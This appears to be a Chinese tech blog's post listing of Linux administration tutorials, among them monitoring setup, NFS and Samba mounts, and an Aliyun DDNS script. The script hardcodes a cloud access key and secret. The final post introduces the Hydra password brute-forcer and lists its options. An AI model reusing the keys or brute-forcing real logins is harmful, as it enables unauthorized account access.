首页
壁纸
留言板
友链
更多
统计归档
Search
1
TensorBoard:训练日志及网络结构可视化工具
12,606 阅读
2
主板开机跳线接线图【F_PANEL接线图】
7,909 阅读
3
Linux使用V2Ray 原生客户端
6,732 阅读
4
移动光猫获取超级密码&开启公网ipv6
6,387 阅读
5
NVIDIA 显卡限制功率
3,252 阅读
好物分享
实用教程
linux使用
wincmd
学习笔记
mysql
java学习
nginx
综合面试题
大数据
网络知识
linux
放码过来
python
javascript
java
opencv
蓝桥杯
leetcode
深度学习
开源模型
相关知识
数据集和工具
模型轻量化
语音识别
计算机视觉
杂七杂八
硬件科普
主机安全
嵌入式设备
其它
bug处理
登录
/
注册
Search
标签搜索
好物分享
学习笔记
linux
MySQL
nvidia
typero
内网穿透
webdav
vps
java
cudann
gcc
cuda
树莓派
CNN
图像去雾
ssh安全
nps
暗通道先验
阿里云
jupiter
累计撰写
358
篇文章
累计收到
72
条评论
首页
栏目
好物分享
实用教程
linux使用
wincmd
学习笔记
mysql
java学习
nginx
综合面试题
大数据
网络知识
linux
放码过来
python
javascript
java
opencv
蓝桥杯
leetcode
深度学习
开源模型
相关知识
数据集和工具
模型轻量化
语音识别
计算机视觉
杂七杂八
硬件科普
主机安全
嵌入式设备
其它
bug处理
页面
壁纸
留言板
友链
统计归档
搜索到
98
篇与
的结果
2022-06-15
Prometheus+Grafana:Linux设备群监控系统
1.Prometheus1.1. Prometheus简介Prometheus 是一款基于时序数据库的开源监控告警系统,非常适合Kubernetes集群的监控。Prometheus的基本原理是通过HTTP协议周期性抓取被监控组件的状态,任意组件只要提供对应的HTTP接口就可以接入监控。不需要任何SDK或者其他的集成过程。这样做非常适合做虚拟化环境监控系统,比如VM、Docker、Kubernetes等。输出被监控组件信息的HTTP接口被叫做exporter 。目前互联网公司常用的组件大部分都有exporter可以直接使用,比如Varnish、Haproxy、Nginx、MySQL、Linux系统信息(包括磁盘、内存、CPU、网络等等)。Promethus有以下特点:支持多维数据模型:由度量名和键值对组成的时间序列数据内置时间序列数据库TSDB支持PromQL查询语言,可以完成非常复杂的查询和分析,对图表展示和告警非常有意义支持HTTP的Pull方式采集时间序列数据支持PushGateway采集瞬时任务的数据支持服务发现和静态配置两种方式发现目标支持接入Grafana1.2. Prometheus架构1.2.1. Prometheus Server主要负责数据采集和存储,提供PromQL查询语言的支持。包含了三个组件:Retrieval: 获取监控数据TSDB: 时间序列数据库(Time Series Database),我们可以简单的理解为一个优化后用来处理时间序列数据的软件,并且数据中的数组是由时间进行索引的。具备以下特点:大部分时间都是顺序写入操作,很少涉及修改数据删除操作都是删除一段时间的数据,而不涉及到删除无规律数据读操作一般都是升序或者降序HTTP Server: 为告警和出图提供查询接口1.2.2. 指标采集Exporters: Prometheus的一类数据采集组件的总称。它负责从目标处搜集数据,并将其转化为Prometheus支持的格式。与传统的数据采集组件不同的是,它并不向中央服务器发送数据,而是等待中央服务器主动前来抓取Pushgateway: 支持临时性Job主动推送指标的中间网关1.2.3. 服务发现Kubernetes_sd: 支持从Kubernetes中自动发现服务和采集信息。而Zabbix监控项原型就不适合Kubernets,因为随着Pod的重启或者升级,Pod的名称是会随机变化的。file_sd: 通过配置文件来实现服务的自动发现1.2.4. 告警管理通过相关的告警配置,对触发阈值的告警通过页面展示、短信和邮件通知的方式告知运维人员。1.2.5. 图形化展示通过PromQL语句查询指标信息,并在页面展示。虽然Prometheus自带UI界面,但是大部分都是使用Grafana出图。另外第三方也可以通过 API 接口来获取监控指标。2.Prometheus简单部署2.1 部署和配置prometheus(在监控中心布置)下载prometheus(网页下载地址:https://prometheus.io/download/)wget https://github.com/prometheus/prometheus/releases/download/v2.36.1/prometheus-2.36.1.linux-amd64.tar.gz tar -xvf prometheus-2.36.1.linux-amd64.tar.gz mv prometheus-2.36.1.linux-amd64 prometheus cd prometheus修改配置文件vim prometheus.yml# my global config global: scrape_interval: 15s # Set the scrape interval to every 15 seconds. Default is every 1 minute. evaluation_interval: 15s # Evaluate rules every 15 seconds. The default is every 1 minute. # scrape_timeout is set to the global default (10s). # Alertmanager configuration alerting: alertmanagers: - static_configs: - targets: # - alertmanager:9093 # Load rules once and periodically evaluate them according to the global 'evaluation_interval'. rule_files: # - "first_rules.yml" # - "second_rules.yml" # A scrape configuration containing exactly one endpoint to scrape: # Here it's Prometheus itself. scrape_configs: # The job name is added as a label `job=<job_name>` to any timeseries scraped from this config. - job_name: "prometheus" # metrics_path defaults to '/metrics' # scheme defaults to 'http'. static_configs: - targets: ["localhost:9090"] # node_exporter 监控数据采集 - job_name: 'node' static_configs: - targets: - "3090.inat.top:9100" - "v100.inat.top:9100" - "raspberry.inat.top:9100" - "agx.inat.top:9100" - "nx.inat.top:9100" - "nano.inat.top:9100"检查配置文件./promtool check config prometheus.yml启动测试./prometheus配置开机自启动sudo vim /etc/systemd/system/prometheus.service[Unit] Description=prometheus service After=network.target [Service] ExecStart=/software/prometheus/prometheus --config.file=/software/prometheus/prometheus.yml Restart=always RestartSec=20 TimeoutSec=300 User=root Group=root StandardOutput=journal StandardError=journal WorkingDirectory=/software/prometheus/ [Install] WantedBy=default.targetsudo systemctl daemon-reload sudo systemctl start prometheus.service sudo systemctl enable prometheus.servicesudo systemctl status prometheus.service2.2 部署Node-Exporter(在被监控的机器上布置)下载Node-Exporter(网页下载地址:https://prometheus.io/download/)wget https://github.com/prometheus/node_exporter/releases/download/v1.0.1/node_exporter-1.0.1.linux-amd64.tar.gz tar -xvf node_exporter-1.0.1.linux-amd64.tar.gz mv node_exporter-1.0.1.linux-amd64 node_exporter cd node_exporter创建monitor用户和组sudo groupadd -g 9100 monitor sudo useradd -g 9100 -u 9100 -s /sbin/nologin -M monitor修改对应文件夹的权限sudo chown -R monitor.monitor /software/node_exporter启动测试./node_exporter配置开机自启动sudo vim /etc/systemd/system/node_exporter.service[Unit] Description=node-exporter service After=network.target [Service] User=monitor Group=monitor KillMode=control-group Restart=on-failure RestartSec=60 ExecStart=/software/node_exporter/node_exporter [Install] WantedBy=multi-user.targetsudo systemctl daemon-reload sudo systemctl start node_exporter.service sudo systemctl enable node_exporter.servicesudo systemctl status node_exporter.service3.部署Grafana(在监控中心部署)下载Grafana(网页下载地址:https://grafana.com/grafana/download)sudo apt-get install -y adduser libfontconfig1 wget https://dl.grafana.com/enterprise/release/grafana-enterprise_8.5.5_amd64.deb sudo dpkg -i grafana-enterprise_8.5.5_amd64.deb设置开机自启动 sudo /bin/systemctl daemon-reload sudo /bin/systemctl start grafana-server sudo /bin/systemctl enable grafana-server sudo /bin/systemctl status grafana-server访问测试(默认用户名和密码均为admin)添加数据源添加dashbord查看dashbord参考资料Prometheus看完这些,入门就够了Prometheus 重启失败的教训Prometheus(普罗米修斯)监控Prometheus(普罗米修斯)监控系统(一)https://grafana.com/grafana/downloadhttps://prometheus.io/download/
2022年06月15日
971 阅读
0 评论
0 点赞
2022-06-13
ubuntu挂载新硬盘
1.定位新硬盘(base) 3090@3090:~$ lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT sdb 8:16 0 1.8T 0 disk /data sr0 11:0 1 1024M 0 rom sdc 8:32 0 14.6T 0 disk └─sdc1 8:33 0 14.6T 0 part sda 8:0 0 477G 0 disk ├─sda2 8:2 0 7.6G 0 part [SWAP] ├─sda3 8:3 0 468.4G 0 part / └─sda1 8:1 0 976M 0 part /boot/efi发现待挂载的硬盘为sdc12.硬盘格式化mkfs -t ext4 /dev/sdc1mke2fs 1.42.13 (17-May-2015) /dev/sdc1 contains a xfs file system Proceed anyway? (y,n) y Creating filesystem with 3906469376 4k blocks and 488308736 inodes Filesystem UUID: ed6952c9-b147-4cfb-b68f-d79e4fcecbb5 Superblock backups stored on blocks: 32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208, 4096000, 7962624, 11239424, 20480000, 23887872, 71663616, 78675968, 102400000, 214990848, 512000000, 550731776, 644972544, 1934917632, 2560000000, 3855122432 Allocating group tables: done Writing inode tables: done Creating journal (32768 blocks): done Writing superblocks and filesystem accounting information: done3.挂载3.1 手动挂载挂载到挂载点/16tsudo mount /dev/sdc1 /16t查看挂载结果(base) 3090@3090:~$ df -h Filesystem Size Used Avail Use% Mounted on udev 63G 0 63G 0% /dev tmpfs 13G 19M 13G 1% /run /dev/sda3 461G 31G 407G 8% / tmpfs 63G 180K 63G 1% /dev/shm tmpfs 5.0M 4.0K 5.0M 1% /run/lock tmpfs 63G 0 63G 0% /sys/fs/cgroup /dev/sdb 1.8T 9.2G 1.7T 1% /data /dev/sda1 975M 4.3M 970M 1% /boot/efi tmpfs 13G 64K 13G 1% /run/user/1000 tmpfs 13G 0 13G 0% /run/user/1001 /dev/sdc1 15T 9.1M 14T 1% /16t3.2 配置开机自动挂载查看UUID(base) 3090@3090:~$ sudo blkid /dev/sdc1 /dev/sdc1: UUID="ed6952c9-b147-4cfb-b68f-d79e4fcecbb5" TYPE="ext4" PARTLABEL="primary" PARTUUID="bbcf63f5-3927-41e8-abc6-ca9062aec08c"修改/etc/fstabsudo vim /etc/fstab# 在末尾添加如下内容 UUID=ed6952c9-b147-4cfb-b68f-d79e4fcecbb5 /16t auto defaults 0 0 参考资料Ubuntu中查看硬盘分区UUID的方法(所有Linux目录的解释)ubuntu 挂载硬盘指令fstab挂载参数
2022年06月13日
499 阅读
0 评论
0 点赞
2022-06-13
ubunt设置静态IP
1.查看网卡名,确定需要配置的目标网卡ip a1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: enp0s25: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 link/ether d8:9e:f3:35:c3:66 brd ff:ff:ff:ff:ff:ff inet 10.1.9.50/24 brd 10.1.9.255 scope global enp0s25 valid_lft forever preferred_lft forever inet6 2001:da8:a012:2da:f3c5:dc14:1316:2268/64 scope global noprefixroute dynamic valid_lft 2591982sec preferred_lft 604782sec inet6 fe80::e49c:f19c:2e03:e014/64 scope link valid_lft forever preferred_lft forever 3: enp8s0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN group default qlen 1000 link/ether d8:9e:f3:35:c3:74 brd ff:ff:ff:ff:ff:ff2.对指定网卡enp0s25设置固定IPsudo vim /etc/network/interfaces增加如下内容auto enp0s25 # 设置自动启动enp0s25接口 iface enp0s25 inet static # 配置静态IP address 10.1.9.67 # IP地址 netmask 255.255.255.0 # 子网掩码 gateway 10.1.9.1 # 网关3.重启网络sudo /etc/init.d/networking restart参考资料ubuntu 查看网卡的网关_Ubuntu系统怎么设置静态ip?同样适用于深度系统的教程Ubuntu系统设置静态IP
2022年06月13日
428 阅读
0 评论
0 点赞
2022-06-07
NVIDIA 显卡限制功率
1.应用背景给实验室的一台服务器Dell T7910加装了两块3090显卡,但是由于供电口不够,所有用了两个6pin转8pin的转接线进行转接,导致显卡的电源输入功率不够,跑实验的时候一跑到满载就会扛不住关机重启,暂时无法更换电源,因此考虑对显卡功率进行限制。2.配置实现2.1 临时设置nvidia-smi -pm 1 # enable persistance mode nvidia-smi -pl 250 # set power limit to 250W3090配置前的最大功率为350W,因供电原因配置限制后的最大功率为250W2.2 永久设置新建nvidia-setpower.service文件sudo vim /etc/systemd/system/nvidia-setpower.service[Unit] Description=Nvidia SetPower Service After=network.target Wants=network.target [Service] Type=simple PIDFile=/run/nvidia-setpower.pid ExecStart=sh /usr/bin/nvidia-setpower.sh Restart=on-failure # Don't restart in the case of configuration error RestartPreventExitStatus=23 [Install] WantedBy=multi-user.target新建nvidia-setpower.shsudo vim /usr/bin/nvidia-setpower.shsudo nvidia-smi -pm 1 sudo nvidia-smi -pl 250sudo nvidia-smi -i 1 -pl 250,-i可以指定第几个显卡。设置服务开机启动:systemctl daemon-reload systemctl start nvidia-setpower.service systemctl enable nvidia-setpower.service参考资料NVIDIA 显卡在 Ubuntu下限制其功率的方法ubuntu 永久 设置 降低N显卡功率 nvidia-smi
2022年06月07日
3,252 阅读
2 评论
0 点赞
2022-05-13
cifs:Ubuntu 挂载 Samba 共享文件夹
1.安装cifs-utifssudo apt-get install cifs-utils2.列举指定IP地址所提供的共享文件夹列表sudo apt install smbclient smbclient -L ${ip_addr} -U ${username}%${password}3.挂载共享文件夹sudo mount -t cifs //指定SambaIP/文件夹名 /mnt/ -o username=${username},password=${password},iocharset=utf8,vers=1.04.实现开机自动挂载在/etc/fstab的末尾加入如下内容vim /etc/fstab//指定SambaIP/文件夹名 /mnt/ cifs defaults,username=${username},password=${password},iocharset=utf8,vers=1.0参考资料Ubuntu 挂载 Samba 共享文件夹Ubuntu 下挂载samba 服务
2022年05月13日
837 阅读
0 评论
0 点赞
2022-03-17
windows使用cmd快速删除文件夹
在windows下删除包含很多小文件的文件夹时使用图形界面进行删除会非常非常的慢,因此考虑探索实验cmd进行快速删除1.命令格式rmdir/rd [<drive>:]<path> [/s [/q]]名词解释rmdir删除指令:等价rddrive盘符path路径/s递归删除整个目录及其中文件/q在选定/s时开启quiet模式(不会提示删除相关信息)2.示例rd /s /q node_modules参考资料windows使用cmd快速删除一个文件夹https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/rmdirwindows使用cmd删除目录和文件(详细)
2022年03月17日
558 阅读
0 评论
0 点赞
2022-03-17
Linux批量修改文件后缀名
1.find+awk+xargs# .jpg-->.xml find ./ -name "*.jpg" | awk -F "." '{print $2}' | xargs -i -t mv ./{}.jpg ./{}.xml2.shell脚本#!/bin/bash find ./ -name *.jpg | while read i do echo "$i"; mv $i.jpg $i.xml done参考资料详解Linux批量更改文件后缀名
2022年03月17日
849 阅读
0 评论
0 点赞
2022-03-11
Linux配置临时IP地址
偶然遇到了需要为某个网卡添加一个临时IP的问题1.添加临时IP ifconfig enp3s0:0 10.1.9.41 netmask 255.255.255.0 # 或者 ip addr add 10.1.9.41/24 dev enp3s0:02.删除临时IP ip addr delete 10.1.9.41 dev enp3s0:0参考资料ifconfig-网络管理命令ifconfig增加一个临时IP方法及删除方法
2022年03月11日
784 阅读
0 评论
0 点赞
2022-01-13
Linux的SWAP交换分区设置准则
1.SWAP分区的作用当Linux系统的物理内存不够用的时候,就需要将物理内存中的一部分空间释放出来,以供当前运行的程序使用。那些被释放的空间可能来自一些很长时间没有什么操作的程序,这些被释放的空间被临时保存到Swap空间中,等到那些程序要运行时,再从Swap中恢复保存的数据到内存中。2.SWAP分区设置准则Redhat官方的文档中关于swap分区大小设置的建议物理内存建议的交换空间大小如果开启休眠功能建议的交换空间大小⩽ 2GB内存的2倍内存的3倍> 2GB – 8GB等于内存大小内存的2倍> 8GB – 64GB至少4G内存的1.5倍> 64GB至少4G不建议使用休眠因此,一般来说可以按照如下规则设置swap大小:物理内存交换空大小⩽ 2GB内存的2倍> 2GB – 4GB4GB> 4GB – 8GB等于内存大小> 8GB – 64GB8GB> 64GB16GB3.swappiness参数3.1 系统在什么情况下才会使用SWAP实际上,并不是等所有的物理内存都消耗完毕之后,才去使用swap的空间,什么时候使用是由swappiness 参数值控制。v100@v100:~$ cat /proc/sys/vm/swappiness 60swappiness=0的时候表示最大限度使用物理内存,然后才是 swap空间,swappiness=100的时候表示积极的使用swap分区,并且把内存上的数据及时的搬运到swap空间里面。现在服务器的内存动不动就是上百G,所以我们可以把这个参数值设置的低一些,让操作系统尽可能的使用物理内存,降低系统对swap的使用,从而提高系统的性能。特别是对于性能要求较高的数据库服务器,要求全部使用内存。3.2 如何修改swappiness参数临时性修改:v100@v100:~$ sudo sysctl vm.swappiness=10 vm.swappiness = 10 v100@v100:~$ cat /proc/sys/vm/swappiness 10永久修改v100@v100:~$ sudo vim /etc/sysctl.conf # 在文件里添加如下参数 vm.swappiness=10 # 激活设置 sysctl -p参考资料https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/installation_guide/s2-diskpartrecommend-ppc#id4394007https://www.nowcoder.com/test/question/done?tid=49008240&qid=23231#summary
2022年01月13日
513 阅读
0 评论
0 点赞
2021-12-30
Linux下出现bash: /bin/xx: 参数列表过长
1.现象描述当目录下文件过多时,执行类似如下命令会出现bash: /bin/xx: 参数列表过长的错误# 列出当前目的下的文件到txt ls * >>../all.txt # 删除符合某种条件的文件 rm *.txt # 对于remove、cp、move等同样适用。2.解决方案使用xargs+find配合进行解决。举例如下:# ls find . -name "*"|xargs ls >>../all.txt find . -type f -name "*"|xargs ls >>../all.txt # rm find . -name "*.log"|xargs rm -rf "*.log" # 对于remove、cp、move等同样适用。参考资料Linux那点事-xargs命令详解bash: /bin/ls: 参数列表过长bash: /bin/rm: 参数列表过长
2021年12月30日
1,045 阅读
1 评论
0 点赞
2021-12-21
nfs:Linux下挂载远程硬盘工具
本问以ubuntu为例,其他类似1.介绍NFS是Network File System的缩写,即网络文件系统。一种使用于分散式文件协定,功能是通过网络让不同的机器、不同的操作系统能够分享个人数据,让应用程序通过网络可以访问位于服务器磁盘中的数据。NFS在文件传送或信息传送的过过程中,依赖于RPC协议。RPC,远程过程调用(Remote Procedure Call),是使客户端能够执行其他系统中程序的一种机制。NFS本身是没有提供信息传输的协议和功能的,但NFS却能让我们通过网络进行资料的分享,就是因为NFS使用了RPC提供的传输协议,可以说NFS就是使用PRC的一个程序。NFS 存储 服务器主要用于用户上传的数据 ,图片 音频 、等信息 NFS服务端、RPC协议、客户端三者可以理解为房源、中介、租客之间的关系:2.应用场景现有两台Linux Server,需要把Linux01 下的硬盘/文件夹挂在到 Linux02 下;3.配置步骤-服务器端3.1 安装nfs-serversudo apt install nfs-server3.2 修改/etc/exports发布可供硬盘/文件夹sudo vim /etc/exports 然后输入: /datadrive02 *(insecure,rw,sync,no_root_squash,no_subtree_check) # /datadrive02 为需要挂载出去的硬盘 /datadrive02 :共享的目录 * :指定哪些用户可以访问 * 所有可以ping同该主机的用户 192.168.1.* 指定网段,在该网段中的用户可以挂载 192.168.1.12 只有该用户能挂载 (ro,sync,no_root_squash): 权限 ro : 只读 rw : 读写 sync : 同步 no_root_squash: 不降低root用户的权限3.3 重启 nfs-serversudo service nfs-server restart3.4 验证发布showmount -e + 主机IP(base) jupiter@dell:~$ showmount -e 127.0.0.1 Export list for 127.0.0.1: /data/project/音频剪辑/audio *4.挂载步骤-客户端4.1 安装 nfs-commonsudo apt install nfs-common4.2 挂载# sudo mount -t nfs 远程硬盘 挂载到本地后的名字(路径) sudo mount -t nfs 10.1.9.24:/data/project/音频剪辑/audio /audio4.3 验证(base) v100@v100:~$ df -h 文件系统 容量 已用 可用 已用% 挂载点 udev 16G 0 16G 0% /dev tmpfs 3.2G 124M 3.1G 4% /run /dev/sdb3 909G 166G 698G 20% / tmpfs 16G 59M 16G 1% /dev/shm tmpfs 5.0M 4.0K 5.0M 1% /run/lock tmpfs 16G 0 16G 0% /sys/fs/cgroup /dev/sdb1 975M 3.7M 971M 1% /boot/efi tmpfs 3.2G 28K 3.2G 1% /run/user/108 tmpfs 3.2G 96K 3.2G 1% /run/user/1000 /dev/sda1 3.7T 568G 3.1T 16% /data /dev/sdd2 3.7T 3.1T 630G 84% /4t /dev/sds1 466G 365G 102G 79% /drive /dev/sdu4 115G 39G 76G 34% /drive2 10.1.9.24:/data/project/音频剪辑/audio 458G 263G 172G 61% /audio参考资料Linux(Ubuntu)通过nfs挂载远程硬盘Ubuntu配置NFS的方法Linux下部署NFS服务 (* ̄︶ ̄)
2021年12月21日
992 阅读
0 评论
0 点赞
2021-12-08
AliyunDNSHelper:阿里云dns解析助手-python实现
1.准备工作首先得有一个阿里云的域名https://www.aliyun.com/minisite/goods安装阿里云SDK和其他第三方库pip install aliyun-python-sdk-core-v3 pip install aliyun-python-sdk-domain pip install aliyun-python-sdk-alidns pip install requests获取accessKeyId和accessSecret可以在阿里云控制台个人中心直接获取,但是一般建议使用RAM角色来进行权限控制,这样这个accessKey和accessSecret就只能操作域名,不能操作其他的资源,相对会比较安全。关于RAM快速入门:https://help.aliyun.com/document_detail/28637.html2.代码实现2.1 ali-dns-helper.py`from aliyunsdkcore.client import AcsClient from aliyunsdkcore.acs_exception.exceptions import ClientException from aliyunsdkcore.acs_exception.exceptions import ServerException from aliyunsdkalidns.request.v20150109.DescribeSubDomainRecordsRequest import DescribeSubDomainRecordsRequest from aliyunsdkalidns.request.v20150109.DescribeDomainRecordsRequest import DescribeDomainRecordsRequest import requests from urllib.request import urlopen import json class AliyunDNSHelper: def __init__(self,accessKeyId = "LTAI4GHqgJgbzPfNnkwyGqks",accessSecret = "CzXkUS8BWcjJ7qEbKrqg6qxUOdnW6M",domain = "4v7p.top"): """ 阿里云DNS助手初始化 需要传入自己的accessKeyId、accessSecret、domain """ self.client = AcsClient(accessKeyId, accessSecret, 'cn-hangzhou') self.domain = domain def update(self,RecordId, RR, Type, Value): """ 修改域名解析记录方法 参数列表: + RecordId:调用查询方法时候查到对应的记录会返回 + RR:记录名即子域名 + Type:记录类型包括CNAME、A、AAAA等 + Value:记录值 """ from aliyunsdkalidns.request.v20150109.UpdateDomainRecordRequest import UpdateDomainRecordRequest request = UpdateDomainRecordRequest() request.set_accept_format('json') request.set_RecordId(RecordId) request.set_RR(RR) request.set_Type(Type) request.set_Value(Value) response = self.client.do_action_with_exception(request) def add(self,DomainName, RR, Type, Value): """ 添加新的域名解析记录方法 参数列表: + DomainName:待修改的主域名 + RR:记录名即子域名 + Type:记录类型包括CNAME、A、AAAA等 + Value:记录值 """ from aliyunsdkalidns.request.v20150109.AddDomainRecordRequest import AddDomainRecordRequest request = AddDomainRecordRequest() request.set_accept_format('json') request.set_DomainName(DomainName) request.set_RR(RR) # https://blog.zeruns.tech request.set_Type(Type) request.set_Value(Value) response = self.client.do_action_with_exception(request) def select(self,subDomian): """ 查询子域域名解析记录 参数列表: + subDomian:子域名 """ request = DescribeSubDomainRecordsRequest() request.set_accept_format('json') request.set_DomainName(self.domain) request.set_SubDomain(subDomian + '.' + self.domain) response = self.client.do_action_with_exception(request) # 获取域名解析记录列表 domain_list = json.loads(response) # 将返回的JSON数据转化为Python能识别的 if domain_list["TotalCount"]==0: return None return domain_list["DomainRecords"]["Record"][0] def action(self,subDomian,Value,Type="A"): """ 执行用户关于DNS操作的的行为 参数列表: + action_type操作类型,包括add,update + subDomian:记录名即子域名 + Type:记录类型包括CNAME、A、AAAA等 + Value:记录值 """ print("待处理的记录为 %s:%s-->Domain:%s" % (Type,Value,subDomian + '.' + self.domain)) subDomian_record = self.select(subDomian) if subDomian_record: RecordId,RecordValue = subDomian_record["RecordId"],subDomian_record["Value"] if Value==RecordValue: print("该域名解析记录已存在,跳过") else: self.update(RecordId, subDomian, Type, Value) print("修改域名解析成功") else: self.add(self.domain, subDomian, Type, Value) print("新建域名解析成功") dnsHelper = AliyunDNSHelper(accessKeyId = "LTAI4GHqgJgbzPfNnkwyGqks",accessSecret = "CzXkUS8BWcjJ7qEbKrqg6qxUOdnW6M",domain = "4v7p.top") sub_domain = input("SubDomian:") value = input("value:") sub_domain_type = input("Type:") dnsHelper.action(sub_domain,value,sub_domain_type)2.2 ali-ddns-ipv6.py:实现ipv6 DDNS功能(ipv4同理)2.2.1 获取本机公网ipv6地址方法1:通过http接口获取(推荐)def getIPv6Address(): text = requests.get('https://v6.ident.me').text return text getIPv6Address()'2001:da8:a012:2da:2f0:d2ff:fed0:d0d2'方法2:python执行shell命令--其中的shell命令需要根据实际情况进行修改def get_local_ipv6(): """ 获取本机ipv6地址,其中的shell命令需要根据实际情况进行修改 """ import os; cmd_get_ipv6 = "ifconfig enp1s0 | awk '{if(NR==3){print $3}}'" # 获取本机ipv6的shell命令,需要根据实际情况进行修改 ipv6 = os.popen(cmd_get_ipv6).readlines()[0] if "/" in ipv6: ipv6 = ipv6.split("/")[0] return ipv6 get_local_ipv6()'2001:da8:a012:2da:2f0:d2ff:fed0:d0d2'2.2.2 配合time.sleep完成DDNS功能from aliyunsdkcore.client import AcsClient from aliyunsdkcore.acs_exception.exceptions import ClientException from aliyunsdkcore.acs_exception.exceptions import ServerException from aliyunsdkalidns.request.v20150109.DescribeSubDomainRecordsRequest import DescribeSubDomainRecordsRequest from aliyunsdkalidns.request.v20150109.DescribeDomainRecordsRequest import DescribeDomainRecordsRequest import requests from urllib.request import urlopen import json import time class AliyunDNSHelper: def __init__(self,accessKeyId = "LTAI4GHqgJgbzPfNnkwyGqks",accessSecret = "CzXkUS8BWcjJ7qEbKrqg6qxUOdnW6M",domain = "4v7p.top"): """ 阿里云DNS助手初始化 需要传入自己的accessKeyId、accessSecret、domain """ self.client = AcsClient(accessKeyId, accessSecret, 'cn-hangzhou') self.domain = domain def update(self,RecordId, RR, Type, Value): """ 修改域名解析记录方法 参数列表: + RecordId:调用查询方法时候查到对应的记录会返回 + RR:记录名即子域名 + Type:记录类型包括CNAME、A、AAAA等 + Value:记录值 """ from aliyunsdkalidns.request.v20150109.UpdateDomainRecordRequest import UpdateDomainRecordRequest request = UpdateDomainRecordRequest() request.set_accept_format('json') request.set_RecordId(RecordId) request.set_RR(RR) request.set_Type(Type) request.set_Value(Value) response = self.client.do_action_with_exception(request) def add(self,DomainName, RR, Type, Value): """ 添加新的域名解析记录方法 参数列表: + DomainName:待修改的主域名 + RR:记录名即子域名 + Type:记录类型包括CNAME、A、AAAA等 + Value:记录值 """ from aliyunsdkalidns.request.v20150109.AddDomainRecordRequest import AddDomainRecordRequest request = AddDomainRecordRequest() request.set_accept_format('json') request.set_DomainName(DomainName) request.set_RR(RR) # https://blog.zeruns.tech request.set_Type(Type) request.set_Value(Value) response = self.client.do_action_with_exception(request) def select(self,subDomian): """ 查询子域域名解析记录 参数列表: + subDomian:子域名 """ request = DescribeSubDomainRecordsRequest() request.set_accept_format('json') request.set_DomainName(self.domain) request.set_SubDomain(subDomian + '.' + self.domain) response = self.client.do_action_with_exception(request) # 获取域名解析记录列表 domain_list = json.loads(response) # 将返回的JSON数据转化为Python能识别的 if domain_list["TotalCount"]==0: return None return domain_list["DomainRecords"]["Record"][0] def action(self,subDomian,Value,Type="A"): """ 执行用户关于DNS操作的的行为 参数列表: + action_type操作类型,包括add,update + subDomian:记录名即子域名 + Type:记录类型包括CNAME、A、AAAA等 + Value:记录值 """ print("待处理的记录为 %s:%s-->Domain:%s" % (Type,Value,subDomian + '.' + self.domain)) subDomian_record = self.select(subDomian) if subDomian_record: RecordId,RecordValue = subDomian_record["RecordId"],subDomian_record["Value"] if Value==RecordValue: print("该域名解析记录已存在,跳过") else: self.update(RecordId, subDomian, Type, Value) print("修改域名解析成功") else: self.add(self.domain, subDomian, Type, Value) print("新建域名解析成功") def getIPv6Address(): text = requests.get('https://v6.ident.me').text # 接口失效后需要及时进行修改 return text dnsHelper = AliyunDNSHelper(accessKeyId = "LTAI4GHqgJgbzPfNnkwyGqks",accessSecret = "CzXkUS8BWcjJ7qEbKrqg6qxUOdnW6M",domain = "4v7p.top") sub_domain = "d2550-ipv6" sub_domain_type = "AAAA" while True: print("当前时间:",time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())) value = getIPv6Address() dnsHelper.action(sub_domain,value,sub_domain_type) time.sleep(2*3600) # 每隔2个小时执行1次然后配合screen命令或者去掉无限循环使用定时任务进行执行即可完成ipv6的DDNS的功能参考资料Python实现阿里云域名DDNS支持ipv4和ipv6python 3.7.3 shell_python3执行shell命令的几种方式Python 获取本机公网IPv6地址Python 日期和时间
2021年12月08日
761 阅读
0 评论
0 点赞
2021-12-08
Hydra:Linux下暴力破解工具--ssh/ftp等暴力破解
1.简介hydra是著名黑客组织thc的一款开源的暴力密码破解工具,可以在线破解多种密码。官网:http://www.thc.org/thc-hydra可支持破解密码类型:AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP等。2.安装1.下载 https://www.thc.org/releases/hydra-8.3.tar.gz2.安装依赖包 如果是Debian和Ubuntu发行版,yum源里自带hydra,我们直接用apt-get在线安装。sudo apt-get -y install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev hydra gcc 对于Redhat/Centos/Fedora发行版,我们需要下载源码包,然后编译安装,因此先安装相关依赖包sudo yum -y install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel gcc3.编译安装hydratar zxvf hydra-8.3.tar.gz cd hydra-8.3 ./configure --prefix=/path/to/hydra make && make install3.使用3.1 参数介绍hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT] -R 继续从上一次进度接着破解。 -S 采用SSL链接。 -s PORT 可通过这个参数指定非默认端口。 -l LOGIN 指定破解的用户,对特定用户破解。 -L FILE 指定用户名字典。 -p PASS 小写,指定密码破解,少用,一般是采用密码字典。 -P FILE 大写,指定密码字典。 -e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。 -C FILE 